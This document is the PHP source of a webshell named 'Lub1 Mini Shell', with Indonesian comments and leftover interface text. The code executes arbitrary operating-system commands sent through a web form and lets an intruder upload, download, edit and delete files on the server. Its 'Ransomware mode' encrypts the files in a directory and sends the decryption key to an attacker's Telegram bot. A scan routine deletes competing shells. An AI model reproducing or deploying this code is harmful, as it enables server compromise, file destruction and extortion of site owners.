Lub1 Mini Shell

Lub1 Mini Shell - Login '; exit; } } // Fungsi untuk mendapatkan informasi sistem function getSystemInfo() { $info = []; $info['PHP Version'] = phpversion(); $info['Operating System'] = php_uname('s') . ' ' . php_uname('r'); $info['Server Software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'; $info['Current User'] = get_current_user(); $info['IP Address'] = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $info['Free Disk Space'] = round(disk_free_space("/") / (1024 * 1024 * 1024), 2) . ' GB'; $info['Total Disk Space'] = round(disk_total_space("/") / (1024 * 1024 * 1024), 2) . ' GB'; return $info; } // Fungsi untuk mengeksekusi perintah function executeCommand($cmd) { $output = ''; if (function_exists('shell_exec')) { $output = shell_exec($cmd . ' 2>&1'); } elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output); $output = implode("\n", $output); } elseif (function_exists('system')) { ob_start(); system($cmd . ' 2>&1'); $output = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); passthru($cmd . ' 2>&1'); $output = ob_get_clean(); } else { $output = 'Command execution functions are disabled.'; } return htmlspecialchars($output); } // Fungsi untuk mendapatkan daftar file function getFileList($dir) { $files = []; if (is_dir($dir)) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; $files[] = [ 'name' => $item, 'path' => $path, 'is_dir' => is_dir($path), 'size' => is_dir($path) ? '-' : formatSize(filesize($path)), 'modified' => date("Y-m-d H:i:s", filemtime($path)), 'perms' => substr(sprintf('%o', fileperms($path)), -4) ]; } } return $files; } // Format ukuran file function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } else { return '0 bytes'; } } // Fungsi untuk mengenkripsi file function encryptFile($filePath, $key) { if (is_dir($filePath)) return false; $content = file_get_contents($filePath); if ($content === false) return false; $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc')); $encrypted = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv); if ($encrypted === false) return false; $result = file_put_contents($filePath, $iv . $encrypted); return $result !== false; } // Fungsi untuk mendekripsi file function decryptFile($filePath, $key) { if (is_dir($filePath)) return false; $content = file_get_contents($filePath); if ($content === false) return false; $ivLength = openssl_cipher_iv_length('aes-256-cbc'); $iv = substr($content, 0, $ivLength); $encryptedData = substr($content, $ivLength); $decrypted = openssl_decrypt($encryptedData, 'aes-256-cbc', $key, 0, $iv); if ($decrypted === false) return false; $result = file_put_contents($filePath, $decrypted); return $result !== false; } // Fungsi untuk mengirim pesan ke Telegram function sendTelegramMessage($message) { global $TELEGRAM_BOT_TOKEN, $TELEGRAM_CHAT_ID; $url = "https://api.telegram.org/bot{$TELEGRAM_BOT_TOKEN}/sendMessage"; $data = [ 'chat_id' => $TELEGRAM_CHAT_ID, 'text' => $message, 'parse_mode' => 'HTML' ]; $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ] ]; $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result !== false; } // Fungsi untuk memindai dan menghapus shell mencurigakan function scanAndRemoveSuspiciousShells($directory) { $suspiciousPatterns = [ '/eval$.*$/', '/base64_decode$.*$/', '/shell_exec$.*$/', '/system$.*$/', '/passthru$.*$/', '/exec$.*$/', '/assert$.*$/', '/popen$.*$/', '/proc_open$.*$/', '/pcntl_exec$.*$/', '/`.*`/', '/\b(wget|curl)\s+.*\.sh\b/', '/\b(perl|python|ruby)\s+-c\s+/', ]; $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($directory), RecursiveIteratorIterator::SELF_FIRST ); $removedFiles = []; foreach ($files as $file) { if ($file->isDir() || $file->getExtension() !== 'php') continue; $content = file_get_contents($file->getRealPath()); if ($content === false) continue; foreach ($suspiciousPatterns as $pattern) { if (preg_match($pattern, $content)) { // Backup file sebelum dihapus (opsional) $backupPath = $file->getRealPath() . '.suspicious.backup'; copy($file->getRealPath(), $backupPath); // Hapus file mencurigakan if (unlink($file->getRealPath())) { $removedFiles[] = $file->getRealPath(); } break; } } } return $removedFiles; } // Fungsi untuk membuat file baru function createFile($path, $content = '') { return file_put_contents($path, $content) !== false; } // Fungsi untuk membuat folder baru function createFolder($path) { return mkdir($path, 0755, true); } // Fungsi untuk mengubah nama file/folder function renameFile($oldPath, $newPath) { return rename($oldPath, $newPath); } // Fungsi untuk mengedit file function editFile($path, $content) { return file_put_contents($path, $content) !== false; } // Proses aksi file $currentDir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $message = ''; // Navigasi direktori if (isset($_GET['dir'])) { $currentDir = realpath($_GET['dir']); if ($currentDir === false || !is_dir($currentDir)) { $currentDir = getcwd(); $message = 'Directory not found.'; } } // Upload file if (isset($_FILES['file'])) { $targetFile = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { $message = 'File uploaded successfully.'; } else { $message = 'Error uploading file.'; } } // Hapus file if (isset($_GET['delete'])) { $fileToDelete = $_GET['delete']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { // Hapus direktori secara rekursif $it = new RecursiveDirectoryIterator($fileToDelete, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { if ($file->isDir()) { rmdir($file->getRealPath()); } else { unlink($file->getRealPath()); } } if (rmdir($fileToDelete)) { $message = 'Directory deleted successfully.'; } else { $message = 'Error deleting directory.'; } } else { if (unlink($fileToDelete)) { $message = 'File deleted successfully.'; } else { $message = 'Error deleting file.'; } } } } // Download file if (isset($_GET['download'])) { $fileToDownload = $_GET['download']; if (file_exists($fileToDownload) && is_file($fileToDownload)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($fileToDownload) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($fileToDownload)); readfile($fileToDownload); exit; } } // Buat file baru if (isset($_POST['create_file'])) { $fileName = $_POST['file_name']; $filePath = $currentDir . DIRECTORY_SEPARATOR . $fileName; if (createFile($filePath, '')) { $message = 'File created successfully.'; } else { $message = 'Error creating file.'; } } // Buat folder baru if (isset($_POST['create_folder'])) { $folderName = $_POST['folder_name']; $folderPath = $currentDir . DIRECTORY_SEPARATOR . $folderName; if (createFolder($folderPath)) { $message = 'Folder created successfully.'; } else { $message = 'Error creating folder.'; } } // Rename file/folder if (isset($_POST['rename'])) { $oldName = $_POST['old_name']; $newName = $_POST['new_name']; $oldPath = $currentDir . DIRECTORY_SEPARATOR . $oldName; $newPath = $currentDir . DIRECTORY_SEPARATOR . $newName; if (renameFile($oldPath, $newPath)) { $message = 'Renamed successfully.'; } else { $message = 'Error renaming.'; } } // Edit file if (isset($_POST['edit_file'])) { $fileName = $_POST['file_name']; $fileContent = $_POST['file_content']; $filePath = $currentDir . DIRECTORY_SEPARATOR . $fileName; if (editFile($filePath, $fileContent)) { $message = 'File edited successfully.'; } else { $message = 'Error editing file.'; } } // Enkripsi file (Ransomware mode) if (isset($_POST['encrypt_files'])) { $key = bin2hex(random_bytes(16)); // Generate key acak 32 karakter hex $files = getFileList($currentDir); $encryptedCount = 0; $excludedFiles = [basename(__FILE__), '.htaccess', 'index.php']; // File yang tidak dienkripsi foreach ($files as $file) { if (!$file['is_dir'] && !in_array($file['name'], $excludedFiles)) { if (encryptFile($file['path'], $key)) { $encryptedCount++; } } } // Kirim kunci ke Telegram $telegramMessage = "🔐 Encryption Alert\n\n"; $telegramMessage .= "📁 Directory: " . $currentDir . "\n"; $telegramMessage .= "🔑 Decryption Key: " . $key . "\n"; $telegramMessage .= "📊 Files Encrypted: " . $encryptedCount . "\n"; $telegramMessage .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n"; $telegramMessage .= "🌐 IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'Unknown'); if (sendTelegramMessage($telegramMessage)) { $message = "Successfully encrypted $encryptedCount files. Decryption key has been sent to Telegram."; } else { $message = "Successfully encrypted $encryptedCount files but failed to send key to Telegram. Key: $key"; } } // Dekripsi file if (isset($_POST['decrypt_files'])) { $key = $_POST['decryption_key'] ?? ''; $files = getFileList($currentDir); $decryptedCount = 0; foreach ($files as $file) { if (!$file['is_dir'] && $file['path'] !== __FILE__) { if (decryptFile($file['path'], $key)) { $decryptedCount++; } } } $message = "Successfully decrypted $decryptedCount files."; } // Scan dan hapus shell mencurigakan if (isset($_POST['scan_shells'])) { $removedFiles = scanAndRemoveSuspiciousShells($currentDir); if (count($removedFiles) > 0) { $message = "Removed " . count($removedFiles) . " suspicious files: " . implode(", ", $removedFiles); // Kirim notifikasi ke Telegram $telegramMessage = "🛡️ Lub1 Security Alert\n\n"; $telegramMessage .= "📁 Directory: " . $currentDir . "\n"; $telegramMessage .= "🚫 Removed Files: " . count($removedFiles) . "\n"; $telegramMessage .= "⏰ Time: " . date('Y-m-d H:i:s') . "\n"; $telegramMessage .= "🌐 IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'Unknown'); sendTelegramMessage($telegramMessage); } else { $message = "No suspicious files found."; } } // Eksekusi command $commandOutput = ''; if (isset($_POST['command'])) { $commandOutput = executeCommand($_POST['command']); } // Dapatkan informasi sistem $systemInfo = getSystemInfo(); $fileList = getFileList($currentDir); // Tampilkan antarmuka webshell ?> Lub1 Mini Shell

File Manager

Name	Size	Modified	Permissions	Actions
Parent Directory

Lub1 Mini Shell

Lub1 Mini Shell

File Manager

Command Execution

Output:

Encryption Tools

Security Scan

File Operations

Create New File

Create New Folder

System Information

Lub1 Mini Shell

Lub1 Mini Shell

Lub1 Mini Shell

File Manager

Command Execution

Output:

Encryption Tools

Security Scan

File Operations

Create New File

Create New Folder

System Information

Edit File

Rename File/Folder